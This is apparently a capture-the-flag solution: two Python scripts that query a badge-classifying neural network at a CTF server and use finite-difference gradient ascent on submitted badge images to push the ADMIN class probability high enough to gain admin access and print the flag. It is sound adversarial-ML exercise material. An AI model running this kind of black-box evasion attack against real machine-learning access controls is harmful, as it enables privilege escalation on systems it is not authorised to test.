Peak Privilege

#!/usr/bin/env python3
"""Iterative projected gradient ascent on log p(ADMIN), black-box via /batch.

Objective f(x) = log p(ADMIN)  (penalises drifting into INVALID or EMPLOYEE).
Each iteration: full forward-difference gradient (1024 queries) + line search.
"""
from __future__ import annotations
import sys, time, numpy as np
sys.path.insert(0, ".")
import attack

TARGET = 0.995


def obj(res: dict) -> float:
    return float(np.log(max(res["probabilities"]["ADMIN"], 1e-300)))


def fd_gradient(x: np.ndarray, f0: float, d: float = 0.15) -> np.ndarray:
    N = 32 * 32
    grids, deltas = [], np.zeros(N)
    for i in range(N):
        r, c = divmod(i, 32)
        step = d if x[r, c] + d <= 1.0 else -d
        deltas[i] = step
        g = x.copy(); g[r, c] += step
        grids.append(g.astype(np.float32))
    res = attack.eval_grids(grids)
    grad = np.zeros((32, 32))
    for i, rr in enumerate(res):
        r, c = divmod(i, 32)
        grad[r, c] = (obj(rr) - f0) / deltas[i]
    return grad


def main():
    try:
        x = np.load("best.npy").astype(np.float64)
        print("resuming from best.npy")
    except OSError:
        x = np.load("x0.npy").astype(np.float64)
    base = attack.eval_grids([x.astype(np.float32)])[0]
    f0 = obj(base)
    best_admin = base["probabilities"]["ADMIN"]
    print(f"start ADMIN={best_admin:.6f} f0={f0:.3f}")

    for it in range(60):
        g = fd_gradient(x, f0)
        gn = g / (np.abs(g).max() + 1e-12)
        alphas = [0.03, 0.06, 0.12, 0.2, 0.3]
        cands = [np.clip(x + a * gn, 0, 1).astype(np.float32) for a in alphas]
        res = attack.eval_grids(cands)
        scores = [obj(r) for r in res]
        j = int(np.argmax(scores))
        admins = [r["probabilities"]["ADMIN"] for r in res]
        print(f"it{it:02d} f0={f0:.3f} | " +
              " ".join(f"a{a}:{r['probabilities']['ADMIN']:.4f}"
                       for a, r in zip(alphas, res)) +
              f" -> pick a{alphas[j]} ADMIN={admins[j]:.6f} acc={res[j]['access']}")
        if res[j].get("flag"):
            print("FLAG:", res[j]["flag"]); np.save("best.npy", cands[j]); return
        if scores[j] <= f0 + 1e-4:
            # no improvement: shrink by trying tiny steps / random restart perturb
            print("  no improvement; trying smaller steps")
            alphas2 = [0.005, 0.01, 0.02]
            cands2 = [np.clip(x + a * gn, 0, 1).astype(np.float32) for a in alphas2]
            res2 = attack.eval_grids(cands2)
            sc2 = [obj(r) for r in res2]
            j2 = int(np.argmax(sc2))
            if sc2[j2] > f0 + 1e-6:
                x = cands2[j2].astype(np.float64); f0 = sc2[j2]
                best_admin = res2[j2]["probabilities"]["ADMIN"]
            else:
                print("  stuck, stop"); break
        else:
            x = cands[j].astype(np.float64); f0 = scores[j]
            best_admin = admins[j]
        np.save("best.npy", x.astype(np.float32))
        if best_admin >= TARGET:
            r = attack.eval_grids([x.astype(np.float32)])[0]
            print("REACHED", r["access"], "flag=", r.get("flag"))
            if r.get("flag"):
                print("FLAG:", r["flag"])
            return
    print("done, best ADMIN=", best_admin)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""Black-box adversarial attack against NeuralBadge.

The classifier input is a 32x32 float32 luminance map obtained by:
  crop PATTERN_BOX (96x96) -> grayscale -> 3x3 mean pool -> 32x32.
We control each 3x3 block uniformly, so we effectively control a 32x32
grayscale image with values k/255.  The /batch endpoint returns softmax
probabilities, which let us read the logit margins directly.
"""
from __future__ import annotations

import base64
import io
import json
import sys
import time
from urllib.request import Request, urlopen
from urllib.error import HTTPError

import numpy as np
from PIL import Image

SERVER = "https://peak-privilege.ctf.blackalps.ch"
BADGE_SIZE = (256, 176)          # (W, H)
PATTERN_BOX = (32, 48, 128, 144)  # left, upper, right, lower -> 96x96
MAX_BATCH = 40


def grid_to_png(grid: np.ndarray) -> bytes:
    """grid: 32x32 float in [0,1] -> PNG bytes of a 256x176 RGB badge."""
    g = np.clip(grid, 0.0, 1.0)
    px = np.rint(g * 255.0).astype(np.uint8)            # 32x32 uint8
    block = np.repeat(np.repeat(px, 3, axis=0), 3, axis=1)  # 96x96
    img = np.zeros((BADGE_SIZE[1], BADGE_SIZE[0], 3), dtype=np.uint8)  # H,W,3
    l, u, r, d = PATTERN_BOX
    patch = np.stack([block, block, block], axis=-1)    # 96x96x3
    img[u:d, l:r, :] = patch
    out = io.BytesIO()
    Image.fromarray(img, "RGB").save(out, format="PNG")
    return out.getvalue()


def _post(route: str, body: bytes, content_type: str) -> dict:
    req = Request(SERVER + route, data=body,
                  headers={"Content-Type": content_type}, method="POST")
    for attempt in range(6):
        try:
            with urlopen(req, timeout=60) as resp:
                return json.load(resp)
        except HTTPError as e:
            with e:
                if e.code == 422:
                    return json.load(e)
                if e.code == 503 and attempt < 5:
                    time.sleep(1.5)
                    continue
                raise RuntimeError(f"HTTP {e.code}: {e.read()[:200]}") from e
    raise RuntimeError("retries exhausted")


def query_batch(grids: list[np.ndarray]) -> list[dict]:
    assert 1 <= len(grids) <= MAX_BATCH
    pngs = [grid_to_png(g) for g in grids]
    body = json.dumps({
        "images": [base64.b64encode(p).decode() for p in pngs]
    }).encode()
    return _post("/batch", body, "application/json")["results"]


def eval_grids(grids: list[np.ndarray]) -> list[dict]:
    out = []
    for i in range(0, len(grids), MAX_BATCH):
        out.extend(query_batch(grids[i:i + MAX_BATCH]))
    return out


def margin(res: dict) -> float:
    """log p(ADMIN) - log p(EMPLOYEE); monotone in admin preference."""
    p = res["probabilities"]
    return np.log(max(p["ADMIN"], 1e-300)) - np.log(max(p["EMPLOYEE"], 1e-300))


if __name__ == "__main__":
    # sanity: a few constant grids
    tests = [np.full((32, 32), v, np.float32) for v in (0.0, 0.5, 1.0)]
    for v, r in zip((0.0, 0.5, 1.0), eval_grids(tests)):
        p = r["probabilities"]
        print(f"const {v}: ADMIN={p['ADMIN']:.3e} EMP={p['EMPLOYEE']:.3e} "
              f"INV={p['INVALID']:.3e} access={r['access']}")